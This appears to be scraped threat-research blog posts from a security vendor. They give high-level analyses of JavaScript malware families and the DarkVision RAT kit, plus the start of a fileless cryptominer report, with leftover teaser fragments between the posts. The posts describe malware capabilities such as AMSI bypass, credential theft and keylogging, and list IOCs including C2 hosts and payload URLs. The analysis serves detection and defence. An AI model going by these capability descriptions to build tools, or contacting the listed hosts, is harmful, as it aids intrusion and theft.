Script-based attacks have become a significant threat in recent years, with some estimates putting these attacks at 40 percent or more of all global cyberattacks. A script can be anything from a sequence of simple commands used for system configuration, task automation, and other general purposes, to much more advanced, multi-layered, and often obfuscated code. Among the most commonly used scripting languages are PowerShell, VBScript, and JavaScript.While PowerShell attacks are most commonly used, Windows JavaScript is also used by malicious threat actors for many of the same purposes. Outside of a browser — which executes JavaScript in an encapsulated fashion, greatly limiting that code’s interaction with the operating system — Windows provides facilities for JavaScript execution with Windows Script Host (WSH), which executes JavaScript (and other Windows-supported scripting languages) under the wscript.exe and cscript.exe Windows processes, providing an attack surface for adversaries to exploit.JavaScript malware can range from a simple dropper intended to deliver additional malware to being fully-featured, multi-purpose pieces of malware in their own right.In this blog we will provide an overview of five prominent malware strains in the JavaScript landscape, with an emphasis on several “pure” JavaScript malware which often challenge static detection signatures through heavy code obfuscation and not employing compiled binaries. Please note that this will not be an in-depth analysis of the different malware, but a higher-level review of each malware.<h5>VJw0rm</h5>“Vengeance Justice Worm” was first discovered in 2016 and is a <a href="https://cofense.com/vjw0rm-malware-heres-watch/">highly multifunctional</a>, modular, publicly available “commodity malware”, i.e., it can be purchased by those interested through various cybercrime and hacking related forums and channels.VJwOrm is a JavaScript-based malware and combines characteristics of Worm, Information Stealer, Remote-Access Trojan (RAT), Denial-of-Service (DOS) malware, and spam-bot.VJw0rm is propagated primarily by malicious email attachments and by infecting removeable storage devices.Once executed by the victim, the very heavily obfuscated VJw0rm will enumerate installed drives and, if a removeable drive is found, VJwOrm will infect it if configured to do so.It will continue to gather victim information such as operating system details, user’s details, installed anti-virus product details, stored browser cookies, the presence of vbc.exe on the system (Microsoft’s .NET Visual Basic Compiler, this indicates that .NET is installed on the system and can affect the actor’s choice of additional malware delivery), and whether the system has been previously infected.VJw0rm will then report this information back to its command-and-control server and await further commands, such as downloading and executing additional malware or employing any of its other numerous capabilities.Finally, VJw0rm establishes persistency in the form of registry auto-runs, system startup folders, a scheduled-task, or any combination of these methods.<img data-image="rt58o2im2cb2" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt75fb256c8f90f18d/61820523ffff367907221b06/image.png" data-sys-asset-uid="blt75fb256c8f90f18d" alt="image.png"/>Figure 1: Obfuscated VJw0rm snippet<img data-image="noljfjd0y1s2" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3fbf1650ba6e3557/61820531898f1d7860f27ecd/image.png" data-sys-asset-uid="blt3fbf1650ba6e3557" alt="image.png"/>Figure 2: VJw0rm check if previously infected<img data-image="oqxfibkcxo6e" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt72586db124418c17/6182053b898f1d7860f27ed1/image.png" data-sys-asset-uid="blt72586db124418c17" alt="image.png"/>Figure 3: VJw0rm Command-and-Control contact<img data-image="87ws3ool10pz" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltefca47f9a397aa37/61820545ffff367907221b0a/image.png" data-sys-asset-uid="bltefca47f9a397aa37" alt="image.png"/>Figure 4: VJw0rm establishes persistency<h5>WSHRat</h5>WSHRat, also known as Houdini, H-worm, Dunihi, and several other aliases, is another “commodity malware” and can trace its roots to 2013 when it was originally developed in VBS. The WSHRat variant, itself, emerged in 2019 as a JavaScript-based version of the previously known Houdini/H-Worm, which was written in VBS.As with all Remote-Access Trojans (RATs), WSHRat’s primary purpose is to maintain access to the machine, executing remote commands, and downloading additional malware.WSHRat is propagated primarily by malicious email attachments and is also capable of infecting removable storage drives.Once executed by the victim, the very heavily obfuscated WSHRat will follow a course similar to that of the above described VJw0rm – gather operating system and user’s details, installed anti-virus product details, report this back it’s command-and-control, perform removeable storage drive infection if configured to do so and await further commands.“Houdini” VBS based variants of the malware are known to have been involved in a recently reported, very protracted, <a href="https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html">espionage campaign that targeted the aviation industry</a>.NJrat/Bladabindi and Remcos RAT are two common follow-up payloads of Houdini/WSHRat.<img data-image="qyxp9t00i0ob" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt5408dfc1438ee462/61820554a1ce11650a8d2979/image.png" data-sys-asset-uid="blt5408dfc1438ee462" alt="image.png"/>Figure 5: Obfuscated WSHRat snippet<img data-image="tn79t91xp2ly" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7eca66090e2ad7fe/6182055db23afd586010621c/image.png" data-sys-asset-uid="blt7eca66090e2ad7fe" alt="image.png"/>Figure 6:WSHRat Command-and-Control contact<img data-image="txjzyz65rck7" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3868ae4db163d063/61820564953e1e6504007c20/image.png" data-sys-asset-uid="blt3868ae4db163d063" alt="image.png"/>Figure 7: WSHRat establishes persistency<h5>STRRAT</h5>STRRAT is a Java-based RAT with a JavaScript wrapper/dropper that was <a href="https://www.gdatasoftware.com/blog/strrat-crimson">discovered in 2020</a>. Its core payload (a .JAR file) is contained under several layers of obfuscation and encoding inside the JavaScript wrapper/dropper.STRRAT is propagated by malicious email attachments. Its capabilities include standard RAT functionalities (remote access, remote command execution), browser and email-client credential harvesting, and a unique ransomware-like functionality – if instructed, it will add a “.crimson” extension to files on the device, rendering them inoperable (though they can be easily recovered because their content is not modified).Unlike many Java-based malware, STRRAT does not require Java to be installed on the infected system in order to operate. When the JavaScript wrapper/dropper is executed, if a suitable Java runtime installation is not found, one will be downloaded and installed in order to assure the contained Java payload can execute.<img data-image="i2kqllnrglb4" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd686ff8df08503c7/6182056eb23afd5860106222/image.png" data-sys-asset-uid="bltd686ff8df08503c7" alt="image.png"/>Figure 8: STRRAT core payload snippet, encoded and obfuscated<img data-image="e5lzk05lu00z" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte2b49399858c273c/6182057571dc1b799a73f782/image.png" data-sys-asset-uid="blte2b49399858c273c" alt="image.png"/>Figure 9:STRRAT "bring your own JRE" function<img data-image="rirvzf0a0gh4" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt05a1934a3baf7889/6182057ec9714c667b4fe23f/image.png" data-sys-asset-uid="blt05a1934a3baf7889" alt="image.png"/>Figure 10: STRRAT deploys and runs payload<h5>BlackByte Ransomware</h5>BlackByte is <a href="https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/blackbyte-ransomware-pt-1-in-depth-analysis/">recently discovered</a> Ransomware with a .NET DLL core payload wrapped in JavaScript. It employs heavy obfuscation both in its JavaScript wrapper and .NET DLL core.Once the JavaScript wrapper is executed, the malware will de-obfuscate the core payload and execute it in memory. The core .DLL is loaded and BlackByte will check the installed operating system language and terminate if an eastern European language is found.It will proceed to check for the presence of several anti-virus and sandbox-related .DLLs, attempt to bypass AMSI, delete system shadow-copies in order to hinder system recovery, and modify several other system services (including Windows Firewall) in order to “prep” the system for encryption. Once the system is “ready” for encryption, it will download a symmetric key-file which will be used to encrypt files on the system. If this file is not found, the malware will terminate.Unlike most Ransomware today, BlackByte uses a single symmetric encryption key, and does not generate a unique encryption key for each victim system, meaning the same key can be used to decrypt all files encrypted by the malware.This makes for substantially easier key-management for the actors behind BlackByte at the cost of a weaker encryption scheme and easier victim system recovery (as there is only a single online point with a single key to maintain).As with most Ransomware today, BlackByte has worming capabilities and can infect additional endpoints on the same network.<img data-image="q5oyop7lvout" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt56c783ece3992782/6182058971dc1b799a73f786/image.png" data-sys-asset-uid="blt56c783ece3992782" alt="image.png"/>Figure 11: A snippet of BlackByte's contained encoded .NET payload<img data-image="79ii60vrkupx" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc7be9ba6cb1060cf/61820590912a3c799bc420e4/image.png" data-sys-asset-uid="bltc7be9ba6cb1060cf" alt="image.png"/>Figure 12: BlackByte AMSI bypass<h5>Carbanak/FIN7 JavaScript Backdoor</h5>Carbanak/FIN7 needs little introduction. Discovered in 2014, they are one of the most prolific and successful, financially-motivated threat actors in action today, responsible for an <a href="https://www.kaspersky.com/about/press-releases/2015_the-great-bank-robbery-carbanak-cybergang-steals--1bn-from-100-financial-institutions-worldwide">estimated $1 billion</a> in losses to countless financial institutions worldwide.Carbanak/FIN7’s main means of spreading malware consists of highly targeted and highly effective spear-phishing emails.A <a href="https://www.anomali.com/blog/cybercrime-group-fin7-using-windows-11-alpha-themed-docs-to-drop-javascript-backdoor">recently discovered</a> JavaScript based backdoor associated with the actor, however, appears to indicate a pivot in their activity — shifting from their mostly PowerShell-based malware to JavaScript, likely in an attempt to become less detectable to security vendors.Once executed, the backdoor will initiate a two-minute delay in an effort to avoid automated sandbox detection (analysis timeout), and then will collect the infected machine’s IP and MAC addresses, DNS hostname, and report back to its Command-and-Control server and execute any code it receives back as response.Carbanak/FIN7 are known to employ <a href="https://www.deepinstinct.com/blog/cobalt-strike-post-exploitation-attackers-toolkit">Cobalt Strike</a> as their post-breach follow-up malware.<img data-image="o7yucmahpyf4" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta09ae3cb37666536/61820599912a3c799bc420e8/image.png" data-sys-asset-uid="blta09ae3cb37666536" alt="image.png"/>Figure 13: Obfuscated Carbanak Backdoor snippet<img data-image="l5lt9q48mfr1" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltce6de2a81bee1d72/618205a1cc735f786653a65a/image.png" data-sys-asset-uid="bltce6de2a81bee1d72" alt="image.png"/>Figure 14: Carbanak Backdoor delay function<img data-image="wupffks33z5i" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7c1af91da88b2ec2/618205a919df7c77cdb1f50f/image.png" data-sys-asset-uid="blt7c1af91da88b2ec2" alt="image.png"/>Figure 15: Carbanak Backdoor gathers victim information<img data-image="9esunk3hbc0k" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte6e12c645868febc/618205b9cc735f786653a65e/image.png" data-sys-asset-uid="blte6e12c645868febc" alt="image.png"/>Figure 16: Carbanak Backdoor Command-and-Control URL "constructor" function<img data-image="sp0nssqpsd66" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta5ef3970bbe29510/618205c2c9714c667b4fe243/image.png" data-sys-asset-uid="blta5ef3970bbe29510" alt="image.png"/>Figure 17: Carbanak Backdoor Command-and-Control contact<h5>Conclusion</h5>The JavaScript landscape is rife with malware of all types and is highly dynamic. These are significant threats that cannot be disregarded.Threat actors around the world are developing and maintaining JavaScript-based malware that is on par in its functionality and sophistication with anything in the parallel landscapes of other Windows-supported scripting languages, all of which are gaining popularity as more and more threat actors are transitioning to the “no PE needed” mentality.For a demo of the world’s best malware-prevention solution, <a href="https://www.deepinstinct.com/request-a-demo">request a demo</a>.IOCs of examined samples:VJw0rmSHA256: 080069323805f67a898f62517b17786d46cc51e9894cd490ee0ba789271e1d9cC2: 180.214.239.36:8050WSHRatSHA256: ec5d3e6da18db71027ea5a54ff0e4be63313b4986d3ef8b020a4a79ae3866571C2: jahblessrtd4ever.home-webserver.de:1604Drops Remcos RAT: 52cbc7b3e3c373b8857245207f0cfca50c35b6edc49255441f74fdf45a71ac46(Remcos employs same C2 as WSHRat)STRRATSHA256: 213c775b371b55c48308650f29ad041a889ef24bf58069d380b4be6e558b82e9SHA256 (JAR): 6b723bd260b53c68c716ef218c78718d3e99ab4d4238a4bd823fd0cd6ec8007b"bring your own JRE” URL: wshsoft.company/jre7.zipC2: str-master.pwBlackByte RansomwareSHA256: 884e96a75dc568075e845ccac2d4b4ccec68017e6ef258c7c03da8c88a597534Key file URL: 45.9.148.114/forest.pngCarbanak/FIN7 JavaScript BackdoorSHA256: caa7667bfdbcb04ceb9d81df93fe805dfe4ac8a04b9dd3eaab7b5f7c87c4fc9cC2: civilizationidium.com

Understanding the Windows JavaScript Threat Landscape

Recently, Deep Instinct’s Threat Research Team has identified a new and emerging, highly modular,  malicious RAT entitled DarkVision RAT, which during

DarkVision-blog.jpg

Recently, Deep Instinct’s Threat Research Team has identified a new and emerging, highly modular,&nbsp; malicious RAT entitled DarkVision RAT, which during our investigation we found is also being actively sold in a well-known cybercrime and hacking-related forum and also a dedicated sales website.
A relatively new member to the threat landscape, and possessing a wide range of plug-ins and various functionalities, including password harvesting, OS message prompts, encrypt/decrypt ability, DarkVision is capable of facilitating a wide array of malicious activities such as spying, fraud and even ransomware-like activities, to name just a few. However, for many, its emergence and proliferation among dwellers of “underground” forums is more interesting than what it can actually do. DarkVision is getting around in no small part by the business savvy of its creator and developer. Neatly packaged into a kit, the RAT is “attractively” priced at $40 USD and marketed for its nice set of features, cost-effectiveness, and quick deployment which can only take minutes to put into action. Just new on the scene, the RAT’s creator continues to make sales and improve his offering to meet market demand.
<h3>DarkVision's Offering</h3>
RATs (Remote Access Tools/Trojans) are a staple in the threat landscape, commonly used by malicious actors to gain and provide remote access to and monitoring of infected machines and to facilitate a host of malicious activities.
DarkVision RAT made its first “commercial offering” in mid-January, described as a "Remote Access Tool (RAT) for Windows 7/8/10 (32/64 bit) with a native core written in C++ and ASM, which makes it standalone and free from any third party dependencies (like .NET).”
The DarkVision RAT is offered as a simple, easy to use and user-friendly kit employing a modular plug-in architecture; It is described as a long-term project which includes “lifetime support” and free/discounted upgrades to future versions upon request. In addition to the forum offering, DarkVision’s author has also established a website intended to market the RAT.

<img data-image="cpjuwjrj9fbr" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt88b62f22e081910c/61a58d6ef35725134cf3867b/image.png" data-sys-asset-uid="blt88b62f22e081910c" alt="image.png"><h6>Figure 1: DarkVision Forum Offering </h6>
<img data-image="scosfsqiv0a4" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt735fc7ea69aed25d/61a58d8f12a3a82185f96f21/image.png" data-sys-asset-uid="blt735fc7ea69aed25d" alt="image.png">

<h6>Figure 2: DarkVision Website Offering</h6>
Screenshots and videos of various functionalities are also provided on both forum on website:
<img class="alignnone wp-image-7093 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9bb7f60517496bc0/611a7c06df57f815f2e54c0d/dv_images3-6.png" width="900" height="656" data-image="pkvzkw4hvv9q">
Shortly after its appearance on the forum, DarkVision started receiving positive feedback:

<img data-image="am3wijwa24e2" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt29b9afbe51a38823/61a58daf2dc01977975bc9eb/image.png" data-sys-asset-uid="blt29b9afbe51a38823" alt="image.png"><h6>Figure 7: Forum user vouching for DarkVision </h6>
<img data-image="uhlpqpneirlo" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9dc4f582cd4417c0/61a58dc0b03f7e139b6a3622/image.png" data-sys-asset-uid="blt9dc4f582cd4417c0" alt="image.png">

<h6>Figure 8: Forum user vouching for DarkVision</h6>
&nbsp;
Following a short period of inactivity by the author, a user wondered if the author had been arrested by law enforcement:

<img data-image="77j4alcacjhg" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltdc0eb4251b966128/61a58dd47b57030e268da02c/image.png" data-sys-asset-uid="bltdc0eb4251b966128" alt="image.png"><h6>Figure 9: Forum user wondering if the author has been "raided"</h6>
&nbsp;
To which the author replied:

<img data-image="njfjb5gnm6kp" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd0dd063f9a7f8d5c/61a58de347db93765d91042f/image.png" data-sys-asset-uid="bltd0dd063f9a7f8d5c" alt="image.png"><h6>Figure 10: Author's response</h6>
&nbsp;
The author also appears to be very responsive to requests and feedback, adding new features and functionality, such as an encrypter (a method to encrypt the payload in order to avoid its detection by security products) and hidden VNC/RDP functionality:

<img data-image="ns2gzmo1ae31" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc4db003d01017755/61a58df334f3f5135367a9e3/image.png" data-sys-asset-uid="bltc4db003d01017755" alt="image.png"><h6>Figure 11: Forum users discussing possible encrypters for DarkVision&nbsp; </h6>
<img data-image="kgla5zqzh1h1" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9cc69da30966dbc0/61a58e00a7343913adb6be78/image.png" data-sys-asset-uid="blt9cc69da30966dbc0" alt="image.png">
<h6>Figure 12: Author announcing DarkVision encrypter </h6>
<img data-image="2nhl6i1c860x" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt109d76a9f7768781/61a58e10e91e152183d85a60/image.png" data-sys-asset-uid="blt109d76a9f7768781" alt="image.png">

<h6>Figure 13: Author explaining his motivation for creating the encrypter </h6>
<img data-image="n122ho2ikfy6" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb1f5c4ecc7c56a19/61a58e217282fa2393f775d9/image.png" data-sys-asset-uid="bltb1f5c4ecc7c56a19" alt="image.png">

<h6>Figure 14: Author discussing additional hidden VNC and RDP functionality</h6>
&nbsp;
<h3>Hands-On with DarkVision</h3>
In addition to encountered samples of DarkVision (listed in IOC section below), Deep Instinct’s Threat Research Team managed to identify an operational security failure by either DarkVision’s author or one of his customers and get our hands on a version of the DarkVision kit.
While lacking the author’s latest developments (namely the RDP plugin and payload encrypter), the kit proved very interesting to analyze.
Our recovered kit contained an executable file that functions as both the RAT payload builder and control interface with its infected machines a set of 17 plugins .DLL files (32 and 64-bit version of each), each responsible for different functionalities. These plugins can be selectively delivered to the infected machines based on desired functionalities and are loaded by the RAT directly into memory, without being written to disk (with the exception of the Chat plugin).
<h6><img class="alignnone wp-image-7081 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltcca21813b535b445/611a7c1a3f43081646a0ef4c/dv_plugin_manager.png" width="950" height="630" data-image="ztei7iu6zmce"></h6>
<h6>Figure 15: DarkVision plugin manager</h6>
&nbsp;
Plugin Functionalities:
<ul>
<li>System Control – Lock, reboot, or shutdown victim machine.</li>
<li>Process Manager – List active processes, kill selected.</li>
<li>Registry Editor – Edit victim machine' registry.</li>
<li>File Explorer – File manager-like utility, manipulate files (copy, delete, move, etc.) on the victim machine, upload file to or download file from victim machine, view image previews/thumbnails, execute files, encrypt/decrypt files with AES 256 and the desired password (encrypted files are appended with a “.DVCRYPT” suffix and file headers replaced to “DVCR”). This type of functionality usually lies in the realm of ransomware.</li>
</ul>
<img class="alignnone wp-image-7078 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt88773e5013fe5fb8/611a7c1cc856491607fd0c9d/dv_encrypted.png" width="612" height="272" data-image="ievhb64k45me">
<h6>Figure 16: Executable file encrypted by DarkVision</h6>
<ul>
<li>Screen Capture – Capture victim user’s screen in intervals of up to 10 seconds. When this interval is set to 0 the victim’s screen is effectively “streamed” to the attacker.</li>
<li>Message manager – Display a customizable operating system prompt and return the response (if the user clicked “OK” or “Cancel”, etc.).</li>
<li>Webcam – Capture webcam video.</li>
<li>Wallpaper – change the victim machine’s windows wallpaper.</li>
<li>Keylogger (Live) – Logs and displays victim user’s current keystrokes and to which window they were made.</li>
<li>Chat – Opens a chat window with the victim user.</li>
<li>Send Mail – Send an Email from the infected machine.</li>
<li>Dropper – Download a file from the internet to a desired location on the infected machine.</li>
<li>Reverse Proxy – SOCKS4 Proxy functionality.</li>
<li>Remote Shell – Remote CLI Shell to the infected machine, execute commands, etc.</li>
<li>Microphone capture – Capture microphone audio.</li>
<li>Password Recovery – Chrome and Firefox stored password harvester.</li>
<li>Window List – List currently open operating system windows.</li>
</ul>
DarkVision refers to its payloads and infected machines as “servers”, possibly in order to avoid calling them “bots”, and possibly due to the fact that they have some server-like functionalities.
&nbsp;
<h3>Conclusion</h3>
Although new to the scene and lacking several functionalities found in other such malicious tools (such as cookie harvesting and hidden VNC, both features which were requested from the author…), DarkVision appears to be gaining some popularity as an overall nicely featured, cost-effective (the kit is currently priced at $40) and very easy to use malicious RAT; capable of facilitating a wide array of malicious activities such as spying, fraud and even ransomware-like activities, to name just a few.
DarkVision is in active development and will likely continue to evolve and add additional features, functionalities, and abilities, its emergence offers an interesting glimpse into the emergence and proliferation of such tools.
DarkVision’s author is presumed to be a Swedish-speaking individual, as he is seen using a Swedish-language operating system in his demo videos, as well as operating from Swedish IP addresses.
<a href="https://www.deepinstinct.com/" target="_blank" rel="noopener noreferrer">Deep Instinct</a> prevents DarkVision both <a href="https://www.deepinstinct.com/endpoint-protection/" target="_blank" rel="noopener noreferrer">statically (pre-execution)</a> and dynamically with our <a href="https://www.deepinstinct.com/automatic-threat-analysis/" target="_blank" rel="noopener noreferrer">behavioral analytics</a>.
&nbsp;
IOCs
DarkVision Samples (sha256)
0de5f042eb250092454d786b6303dee434202d45dc3fec9e6b39237f9e92514f
0fa8acdb672f0e6c184fc5d04bb8af92c0bf5db73de096606f23f4c38ef3347b
10667e9d67706397f7ff96e892d3c0f0ae05d81df5bc17caf85fb356d531c0b8
1a230bb362cde9ead2d9f867af181ae51292c626a3c9d1d30f5f3751b84ffe85
201f31c84755a5cd6081c3db30626cc3f17cf84804c2deb66e27866daad259a3
3295199ba2b4e9cfc448a574cb9e89f3ef131fd19dcf366fe2abb7b3b79eb887
40d48f5e965a250ac45f2f9c9426743c66fe899f07e16c42339149e30b1956e9
44de5a248b6e9c24ad547e73c3ba3c8cc9693ba6eaa5190be9b377845844ffb6
47070e4f6545f9f1308a5aec1e6943e6a29891bce9523db5596544a52f9b3bf4
478cf5482905fa2ac2a2280a03ad6716f153c372c15cd957a23a67ff3260c867
5174ef9f7d5420ab4890173792d8aafc50b8bb3191b4c24f6f58ae73bd7212c3
5cce814cadb4fac6631ff3c988516b4c6618f0c71c7de3588fc0d7038c220f31
7f97ba9a8e6b70708a001cff8677992fc1e768a62f9f21ddd14fb1c6924281bc
808680e6761782a7817fd8e3f90463738d17216b3bca51f3ca4e7375458cba1b
a3bd7d3e7006439d1d53cf8db1f403df2162c8f7e8172d6911be203ea58a2d8d
b75354d8ad3f4e0f675ec6a64c82226d75116535198ef4974b17984ccebab63e
bf1c8cf3ab6213c250d1abf8094180fdcf8e871674482fce1930abe9826e61b9
cb06287e314bf4c684323c7925922cce2932a9e9e9b6aac34634487ac7741afd
e91586b66e6d05e3b118991b72896d37c3e625e4f54ceb4ad6b04f047a31593b
eafa30bac261cc682556812c7c513827f09ef75fc33dbeb61e5d3ff46c9f3808
ee1b2b016b56950986db7b08f451220b91f1d91a70fec0624e289e96c648cb44
f36626f1a71c68c4647347b25eb0000c0e6c5d7700cf16047a3d9967321cf14b
f3b00f34857586056178a56517e4c07effe1182604b11665fb8efb71be78cec4
&nbsp;
DarkVision Kit (sha256)
52e66bc19323536314fce12a2a3fa064b726bb71704a0d9f899d49892f265274 - dv_kit.zip # DarkVision Kit
ba59847f9f160987ee5d9ad57d5022895cece9bd4627d90f5eab35c2f29596ea - DARKVISIONENCRYPTED.EXE # Builder/control panel
447ccb93bcbc969e08ec726e1461c386668720d79d091bca889b5b5a129a352d - CHATPLUGIN32.DLL
7e1aa75831ab42fb27bd372c84e70816cee68e63c59ab66ad445e123cb4dad40 - CHATPLUGIN64.DLL
054f55d77f0250760ab3a12e63af89ba5958468215e18b522cd618363da938a1 - DROPPERPLUGIN32.DLL
83358d06da03686a452f03045219f8286d46ada3287b3a354229ae82dcbd3266 - DROPPERPLUGIN64.DLL
17ab5394041bf8230f816ea92638ec5e5515112132a8e649d4caa783d886cfdf - FILEPLUGIN32.DLL
7c43ad507d71361001464838d5a55a4753a4c8c0e9647de37e721a2d86fb5a86 - FILEPLUGIN64.DLL
3ec311c131d15a530dac35108f167ee926ef87e6cef618c6ba05d9eb239a4940 - LIVEKEYLOGGERPLUGIN32.DLL
0a3bdfe88cf7c38294a1ff2a497f3bcedb3feb8dc37fa0de7332865c348b7eb0 - LIVEKEYLOGGERPLUGIN64.DLL
a1396856c94b92cc78e9636b37ed3e998443699d6bb9f35e086bc87a5ccd0f67 - MESSAGEPLUGIN32.DLL
32eda28241805e739ecdf205f056948cd4bc0d421ccfb70e77d1027d94504587 - MESSAGEPLUGIN64.DLL
4a30c6c89f0d95bc647da438bb4783853167f997221b3ff91bda6816d4043c5a - MICROPHONECAPTUREPLUGIN32.DLL
8284d1613e68ccfd1f07b80161e38f9a96cf26f1229cd297ea1bd95809459bdd - MICROPHONECAPTUREPLUGIN64.DLL
24c3d64db7c499c6c60ae6bf406e25d6a70902cb7f2393b81555e3241aa7c43c - PASSWORDRECOVERYPLUGIN32.DLL
d9f5fe4cd4885a31c288e89447db5d77e846db5b714bb6c1a32e8692e9dd6acd - PASSWORDRECOVERYPLUGIN64.DLL
5a882cb5120fc2720df4c26a02feafcac4246c7937c7dcb6046a1f185e39a2eb - PROCESSPLUGIN32.DLL
230f27eb5652c0a169740a44375221bcda1fae8c3703e354bb756189fa0b8a07 - PROCESSPLUGIN64.DLL
b0faa36c459996787f5aadb327003497444c375e25d0e6a07bc7264608f6b18a - REGISTRYPLUGIN32.DLL
434733d083f2648719bc02e7c8b0bf300007619f20876cb9161e88f5a13d47f2 - REGISTRYPLUGIN64.DLL
7c7264939bd4e249e559f507027c1b1eb92541803e29434238165423c664fa8a - REMOTESHELLPLUGIN32.DLL
572a2d0e60147163deb9bbada3ddd7fe414096fc1b14f51bd6d17a0fc34e7131 - REMOTESHELLPLUGIN64.DLL
531ed45fca9530ae8d1b56b40b784c8d238bf739ea1c7d5779a7dc155248f47b - SCREENCAPTUREPLUGIN32.DLL
ea97e8b77b654598a46a12f6f80ace614cd0cc0b6e2060e81ca2c76ec1f9e2e8 - SCREENCAPTUREPLUGIN64.DLL
b55075d58564ce37324e5f4c746839e35293ac60fed35f345163b77944b0ed8d - SENDMAILPLUGIN32.DLL
23a2e7637acc101bf40ddc953152d7302342e3ca480353a84f6fee5e23155519 - SENDMAILPLUGIN64.DLL
9f2bb6a03ce289a2b6b10950df6ccf80ef3f25dfc2a8c0c9fa5efb3b76e1c167 - SOCKSRELAYPLUGIN32.DLL
1868425310156eafad6074aab9b3bff4c681615a03914f7b970d9e7bc476bbb0 - SOCKSRELAYPLUGIN64.DLL
99e316f57528b47af726ff2cd9a33f6c950c4c7f6b88174d491510eb44047132 - SYSTEMCONTROLPLUGIN32.DLL
39d798c7b1fa8a57dba656682d2c91beb946e10c277ad12e2b08a7b7c1d88a8c - SYSTEMCONTROLPLUGIN64.DLL
b1d5be14b2011f0628dcdd686183f2a2363febdac7e14f23eb51ffd7238b9ba2 - WALLPAPERPLUGIN32.DLL
ed6338943d6237d422e4c54ad3e33040140de6800717831c071de1a37fdf1fe9 - WALLPAPERPLUGIN64.DLL
9ad437d76f08dcb1ce86da07de067735d5b9c657c91ffb13972addce1d50cade - WEBCAMPLUGIN32.DLL
eb12c86b21b337b64f99ad7f7375bc4bbb05a7ba6b5af605ace55546af9db222 - WEBCAMPLUGIN64.DLL
96b4836f4e0e5293833e30db86660e5e45268f4a2072fbbeea8003b684756d45 - WINDOWPLUGIN32.DLL
81a857d256dbd90322fa437e8045e2e2173fce46ef05cf83df9b8fe8f62bf74c - WINDOWPLUGIN64.DLL
&nbsp;
Network IOC
asdhuaudjwaj.kro.kr:5678
rwrw.ddns.net:1984
sharkzilla06.ddns.net:5552
83.253.89.225:5555 # Swedish IP
193.150.242.255:5555 # Swedish IP
45.153.240.147:8787
185.244.30.38:5510

New on the scene: DarkVision RAT

Malware often arrives hand in hand with other malware. The Emotet trojan, for example, can deliver TrickBot; and TrickBot (which is also in a collabor

hornet-nest.jpg

Untangling Legion Loader’s Hornet Nest of Malware

Deep Instinct recently detected a series of suspicious PowerShell events at a major Asia-based aviation enterprise.

Investigation of the events unc

cryptominerblog.jpg

Deep Instinct recently detected a series of suspicious PowerShell events at a major Asia-based aviation enterprise.
Investigation of the events uncovered a persistent, file-less, crypto-currency (Monero) miner which uses TOR infrastructure to remain anonymous.
The malware is composed of a multi-stage PowerShell command which employs reflective-PE injection and run-time code compilation to inject malicious executable content hidden in the Windows Registry directly to the victim machine’s memory.
The events were discovered <a href="https://www.cyberbit.com/blog/endpoint-security/cryptocurrency-miners-exploit-airport-resources/">concurrently</a> to the revelation of a similar type of malware in the same business sector, however, the malware was deemed to be unrelated.
<h3>Attack Flow</h3>
<img class="alignnone wp-image-6296 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt878c8e039c61a81c/611a7e4662f3f81649ba4a16/flow.png" alt="" width="870" height="572" />
<h6>Caption: Attack flow diagram</h6>
<h3>Scheduled Task Wrapper</h3>
As with most cases of file-less malware, the outermost layer is a base64 encoded PowerShell command:
<img class="alignnone wp-image-6298 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte4fa43891533f97a/611a7e4532c41b1612adf34f/ps_encoded.png" alt="" width="666" height="103" />
<h6>Caption: Outer Base64 encoded PowerShell command</h6>
Decoding the encoded command blob reveals code which sets a 2nd encoded command blob as a scheduled task that runs at system startup:
<img class="alignnone wp-image-6305 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt49b0e9564ccb4542/611a7e4127c23615df85c4ba/set_task.png" alt="" width="771" height="251" />
<img class="alignnone wp-image-6307 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1c14604007810727/611a7e405110c915ef85ca5e/task1.png" alt="" width="726" height="89" />
<img class="alignnone wp-image-6308 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt879528fdd3961b99/611a7e3fe57b2516924f8afb/task2.png" alt="" width="1089" height="135" />
<h6>Caption: Scheduled task set to run at system startup, Contains encoded PowerShell command.</h6>
Reflective Registry Loader
